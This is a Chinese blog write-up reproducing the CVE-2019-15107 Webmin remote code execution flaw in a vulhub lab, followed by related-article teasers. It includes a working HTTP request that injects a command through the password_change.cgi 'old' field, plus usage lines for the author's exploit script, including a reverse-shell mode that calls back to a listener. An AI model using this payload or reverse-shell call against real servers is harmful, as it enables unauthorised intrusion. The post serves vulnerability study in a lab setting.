CVE-2019-15107 Webmin RCE漏洞复现

简介: 环境搭建:进入镜像目录

一、环境搭建:

进入镜像目录:


cd vulhub/webmin/CVE-2019-15107

启动环境:


docker-compose up -d

访问:yourip:10000即可




二、漏洞描述:

该漏洞允许恶意第三方在缺少输入验证的情况下而执行恶意代码,由于password_change.cgi文件在重置密码功能中存在一个代码执行漏洞,允许恶意第三方在缺少输入验证的情况下而执行恶意代码


影响的版本:Webmin<=1.920

漏洞利用条件:版本满足要求,且服务器的配置文件允许修改密码时,在不知道webmin的用户和密码条件下,可以任意执行代码。




三、漏洞复现:

1、首先进入容器修改root的密码:

然后用系统账号密码登陆进后台,开启修改密码功能:

vulhub默认已经设置好了:


确认配置文件:


cat /etc/webmin/miniserv.conf


2、构造payload进行RCE:






POST /password_change.cgi HTTP/1.1Host: 192.168.136.131:10000User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1X-Requested-From: webminX-Requested-From-Tab: webminX-Requested-With: XMLHttpRequestReferer: https://192.168.136.131:10000/webmin/edit_session.cgi?xnavigation=1Cookie: redirect=1; testing=1; sid=80c904aa71f996b05d4c7ec9c4260335; sessiontest=1Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 50
user=panda&old=test|whoami&new1=123456&new2=123456

执行结果:

四、漏洞EXP(自写):

脚本执行效果:

1、RCE:


python3 CVE-2019-15107.py https://192.168.136.131:10000 -f rce


2、反弹shell:


python3 CVE-2019-15107.py https://192.168.136.131:10000 -f r_shell -l 192.168.136.129 -p 7777


成功反弹shell:


脚本已经打包好了,需要的看官后台留言:webmin exp


注意:脚本仅作为学习和讨论使用,禁止利用其进行任何违法行为,与作者无关!

注意:脚本仅作为学习和讨论使用,禁止利用其进行任何违法行为,与作者无关!

目录
相关文章
|
网络安全
[网络安全]xss-labs level-15 解题详析
[网络安全]xss-labs level-15 解题详析
364 0
|
安全 Unix Linux
CentOS7 Sudo本地提权漏洞修复实践
CentOS7 Sudo本地提权漏洞修复实践
1871 0
CentOS7 Sudo本地提权漏洞修复实践
|
9月前
|
存储 JavaScript 安全
Web渗透-XSS漏洞深入及xss-labs靶场实战
XSS(跨站脚本攻击)是常见的Web安全漏洞,通过在网页中注入恶意脚本,窃取用户信息或执行非法操作。本文介绍其原理、分类(反射型、存储型、DOM型)、测试方法及xss-labs靶场实战案例,帮助理解与防御XSS攻击。
2786 1
Web渗透-XSS漏洞深入及xss-labs靶场实战
|
安全 应用服务中间件 Apache
Apache-Tomcat-Ajp文件读取漏洞(CVE-2020-1938、CNVD-2020-10487)
Apache-Tomcat-Ajp文件读取漏洞产生原因是由于Tomcat默认开启的AJP服务(8009端口)存在一处文件包含缺陷,攻击者可构造恶意的请求包进行文件包含操作,进而读取受影响Tomcat服务器上的Web目录文件
1949 1
|
应用服务中间件 PHP nginx
CVE-2019-11043 复现
CVE-2019-11043 复现
507 5
|
SQL 自然语言处理 安全
Atom CMS v2.0 SQL 注入(CVE-2022-24223)
Atom CMS v2.0 SQL 注入(CVE-2022-24223)
|
安全 关系型数据库 网络安全
Taogogo Taocms v3.0.2 远程代码执行(CVE-2022-25578)
Taogogo Taocms v3.0.2 远程代码执行(CVE-2022-25578)
|
数据安全/隐私保护
CTF — 压缩包密码爆破
CTF — 压缩包密码爆破
2846 0
|
开发框架 安全 Java
Spring Framework远程代码执行漏洞复现(CVE-2022-22965)
Spring Framework存在远程代码执行漏洞,攻击者可通过该漏洞执行系统命令。
1606 1
Spring Framework远程代码执行漏洞复现(CVE-2022-22965)
|
安全 API 数据库
Joomla未授权访问漏洞(CVE-2023-23752)
Joomla是一套全球知名的内容管理系统(CMS),其使用PHP语言加上MySQL数据库所开发,可以在Linux、Windows、MacOSX等各种不同的平台上运行。
1481 1